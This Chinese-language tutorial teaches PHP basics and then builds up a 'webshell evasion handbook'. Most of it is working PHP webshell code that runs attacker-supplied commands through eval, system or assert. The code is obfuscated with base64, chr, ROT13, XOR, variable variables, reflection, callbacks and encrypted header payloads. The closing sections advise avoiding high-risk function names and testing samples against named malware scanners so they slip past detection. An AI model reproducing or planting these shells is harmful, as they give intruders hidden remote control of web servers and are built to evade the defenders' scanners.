PHP从零学习到Webshell免杀手册
字数 1510 2025-08-10 10:14:26
PHP WebShell免杀手册详解
一、PHP基础知识
0.0 PHP基础格式
<?php
//执行的相关PHP代码
?>
0.1 赋值运算符
.=用于字符串连接赋值+=用于数值相加赋值
$a = 'a';
$b = 'b';
$c = 'c';
$c .= $a;
$c .= $b;
echo $c; //输出"cab"
0.2 数组操作
创建数组的几种方式:
// array()函数创建
$shuzu = array("AabyssZG", "AabyssTeam");
// []定义数组
$z = ['A','a','b','y','s','s'];
// compact()函数创建
$firstname = "Aabyss";
$result = compact("firstname");
数组嵌套示例:
$r = 'b[]=AabyssZG&b[]=system';
$rce = array();
parse_str($r, $rce);
echo $rce['b'][1]('whoami'); //执行system('whoami')
0.3 连接符
$str1 = "hello";
$str2 = "world";
echo $str1.$str2; //输出"helloworld"
0.4 运算符
&按位与运算符:($var & 1)判断奇偶xor异或运算符:用于一些特殊场合
0.5 常量
define('-_-','smile'); //特殊符号开头的常量
define('WO', 3.14);
const WO = 3;
// 魔术常量
echo __FILE__; //当前文件完整路径
echo __LINE__; //当前行号
0.6 PHP特性
- 函数名、方法名、类名不区分大小写
- 常量和变量区分大小写
<?php ?>未闭合可能导致问题
0.7 PHP标记写法
<?php ?> //标准写法
<?php //省略闭合
<? ?> //短标签(需开启short_open_tag)
<% %> //ASP风格(需开启配置)
<script language="php"></script>
0.8 $_POST变量
$num1 = $_POST['num1'];
print_r($_POST); //打印所有POST数据
二、PHP函数详解
1. 回调类型函数
1.1 array_map()
array_map('system', array('whoami')); //可能被查杀
array_map($_GET['a'], array('whoami')); //动态调用
1.2 register_shutdown_function()
register_shutdown_function('test');
exit();
// 中止时会执行test函数
1.3 array_walk()
function myfunction($value,$key){
echo "Key $key has value $value";
}
array_walk($a, "myfunction");
1.4 array_filter()
function test_odd($var){
return($var & 1); //过滤奇数
}
print_r(array_filter($a1,"test_odd"));
1.5 foreach()
foreach($arr as $k=>$v){
$arr[$k] = 2 * $v;
}
1.6 isset()
if(isset($var)){
echo "变量已设置";
}
2. 字符串处理函数
2.1 substr()
echo substr("D://system//451232.php", -10, 6); //输出"451232"
2.2 intval()
echo intval(042); //34(八进制)
echo intval(0x1A); //26(十六进制)
2.3 parse_str()
parse_str("name=Peter&age=43",$myArray);
print_r($myArray); //Array([name]=>Peter [age]=>43)
2.4 pack()
echo pack("C3",80,72,80); //"PHP"(ASCII编码)
echo pack("H*","416162797373"); //"Aabyss"(十六进制)
3. 命令执行函数
3.1 eval()
eval('echo "Hello World";');
@eval($_POST['cmd']);
3.2 system()
system('whoami'); //直接执行系统命令
3.3 exec()
exec('ls', $result); //结果存入数组
print_r($result);
3.4 shell_exec()
echo shell_exec('ls'); //返回命令输出
3.5 passthru()
passthru('ls'); //直接输出命令结果
3.6 popen()
$result = popen('ls', 'r');
echo fread($result, 100);
3.7 反引号
echo `ls`; //执行命令并返回输出
4. 文件写入函数
4.1 fwrite()
$file = fopen("test.txt","w");
fwrite($file,"Hello World");
fclose($file);
4.2 file_put_contents()
file_put_contents('sites.txt', "\nGoogle", FILE_APPEND);
5. 异常处理类
5.1 Exception类
try {
throw new Exception("Error");
} catch(Exception $e) {
echo $e->getMessage();
echo $e->getFile();
}
6. 数据库连接函数
6.1 SQLite示例
$db = new PDO("sqlite:AabyssZG.db");
$sql_stmt = $db->prepare('select * from test');
$sql_stmt->execute();
6.2 MySQL示例
$mysqli = new MySQLi("localhost", "user", "pass", "db");
$res = $mysqli->query($sql);
三、WebShell免杀技术
1. 编码绕过
1.1 Base64编码
$f = base64_decode("YXNzZXJ0"); //"assert"
$f($_POST['cmd']);
1.2 ASCII编码
$f = chr(97).chr(115).chr(115); //"ass"
$f .= chr(101).chr(114).chr(116); //"ert"
$f($_POST['cmd']); //assert($_POST['cmd'])
1.3 ROT13编码
$f = str_rot13('flfgrz'); //"system"
$f($_POST['cmd']);
1.4 Gzip压缩加密
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));
2. 字符串混淆
2.1 自定义函数混淆
function confusion($a){
$s = ['A','a','b','y','s','s'];
$tmp = "";
while($a>10){
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$f = confusion(976534); //"system"
$f($_POST['cmd']);
2.2 文件名混淆
// 文件名为976534.php
$f = confusion(intval(substr(__FILE__,-10,6))); //"system"
$f($_POST['cmd']);
3. 生成新文件绕过
$wahaha = strtr("abatme","me","em"); //"abatem"
$wahaha = strtr($wahaha,"ab","sy"); //"system"
$wahaha('echo "<?php eval($_POST[cmd])?>" > out.php');
4. 回调函数绕过
4.1 call_user_func_array()
$f = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); //"assert"
call_user_func_array($f, array($_POST['cmd']));
4.2 array_map()
function fun(){
$f = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return ''.$f;
}
$user = fun(); //"assert"
array_map($user, array($_POST['cmd']));
5. 可变变量绕过
5.1 简单可变变量
$f = 'hello';
$$
f = $_POST['cmd'];
eval($hello); //eval($_POST['cmd'])
5.2 数组+变量引用
$z = "system";
$zhixin = &$z;
$result = compact("zhixin");
$z = 'wahaha';
$f = $result['zhixin'];
$f($_POST['cmd']); //system($_POST['cmd'])
6. 数组绕过
6.1 一维数组
$f = substr_replace("systxx","em",4); //"system"
$z = array(array('a'=>$f($_GET['cmd'])));
6.2 二维数组
$f = substr_replace("systxx","em",4);
$z = array(array(array('a'=>$f($_POST['cmd']))));
7. 类绕过
7.1 单类
class Test{
public $_1='';
function __destruct(){
system("$this->a");
}
}
$_2 = new Test;
$_2->$_1 = $_POST['cmd'];
7.2 多类
class Test1{
public $b ='';
function post(){return $_POST['cmd'];}
}
class Test2 extends Test1{
function __construct(){
system(parent::post());
}
}
new Test2;
8. 嵌套运算绕过
8.1 异或运算
$f = ('.$.48]0'); //通过异或得到"system"
$f($_POST['cmd']);
8.2 复杂嵌套
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
9. 传参绕过
9.1 Base64传参
$a = $_REQUEST['a']; //"c3lzdGVt"(system的base64)
$b = $_REQUEST['b']; //"d2hvYW1p"(whoami的base64)
$arrs = explode("|", base64_decode($a));
$arrt = explode("|", base64_decode($b));
call_user_func($arrs[0],$arrt[0]); //system('whoami')
9.2 函数构造传参
$f = $_REQUEST['f'];
register_tick_function($f, $_REQUEST['cmd']);
10. 自定义函数绕过
10.1 多层嵌套
function out($b){return $b;}
function zhixin($a){return system($a);}
function post(){return $_POST['cmd'];}
function run(){return out(zhixin)(out(post()));}
run();
10.2 反射获取常量
class Test{
const a = 'Sy';
const b = 'st';
const c = 'em';
}
$reflector = new ReflectionClass('Test');
$para2 = $reflector->getConstant('a')
. $reflector->getConstant('b')
. $reflector->getConstant('c');
$para2($_GET['cmd']); //system($_GET['cmd'])
11. 读取字符串绕过
11.1 读取注释
/** system($_GET[cmd]); */
class User{}
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
eval(substr($comment,14,22));
11.2 读取数据库
$db = new PDO("sqlite:database.db");
$sql_stmt = $db->prepare('select * from test where name="system"');
$sql_stmt->execute();
$f = substr($sql_stmt->queryString, -7, 6);
$f($_GET['cmd']);
11.3 读取目录
$fi = new FilesystemIterator(dirname(__FILE__));
foreach($fi as $i){
if(substr($i->__toString(),-6,6)=='aabyss'){
$f = substr($i->__toString(),-13,6); //"system"
}
}
$f($_GET['cmd']);
12. 多姿势组合免杀
12.1 异或+参数变换
<?php
$__=("^"^"`"); //_
$___.=("!"^"{").$__; //G
$____=("("^"[").$__; //E
$_____.=$____.$___.("!"^"{"); //ET
$_=
$$
_____;
$_[_]($_[__]); //$_GET[_]($_GET[__])
?>
// 使用: ?_=system&__=whoami
12.2 字符串截取+编解码
class Car{
function encode(){
$num=base64_decode($_POST['num']);
foreach($_POST as $k=>$v){
$_POST[$k]=pack("H*",substr($v,$num,-$num));
}
return base64_decode($_POST['Qxi*37yz']);
}
function Xt(){eval($this->encode());}
}
(new Car)->Xt();
// 传参: num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62
12.3 密钥协商+异或加密
session_start();
function set_token($v,$t){
$r="";
for($x=0;$x<strlen($v);$x++){
$r.=chr(ord($v[$x])^ord($t[$x%strlen($t)]));
}
return $r;
}
if(isset($_SERVER["HTTP_TOKEN"])){
$_SESSION['token']=substr(md5(rand()),16);
header('Token:'.$_SESSION['token']);
}else{
$v=base64_decode($_SERVER['HTTP_X_CSRF_TOKEN']);
eval(null.set_token($v,$_SESSION['token']));
}
// 使用需先获取Token,再用Token加密payload
四、免杀思路总结
1. WebShell查杀思路
- 统计分析:基于特征码、函数黑名单
- 语义分析:AST语法树分析
- 机器学习:基于样本训练模型
- 动态监控:RASP实时防护
2. 免杀核心策略
- 混淆关键部分:函数名、参数、变量
- 动态执行:利用回调、可变变量等特性
- 编码转换:Base64、Hex、异或等
- 分块传输:通过多次传参组合
- 环境依赖:利用服务器特定环境
3. 实用建议
- 避免直接使用高危函数名
- 多使用字符串拼接和编码转换
- 结合PHP动态特性动态生成代码
- 利用类、异常等复杂结构
- 测试时使用多款查杀引擎验证
4. 测试资源
- 牧云Webshell检测引擎
- 微步在线云沙箱
- 河马WebShell查杀
- VirusTotal
- 阿里云恶意文件检测
通过灵活组合上述技术,可以构建出能够绕过常见检测的WebShell。关键在于理解各种PHP特性和函数的用法,以及WAF的检测原理,从而找到检测盲区。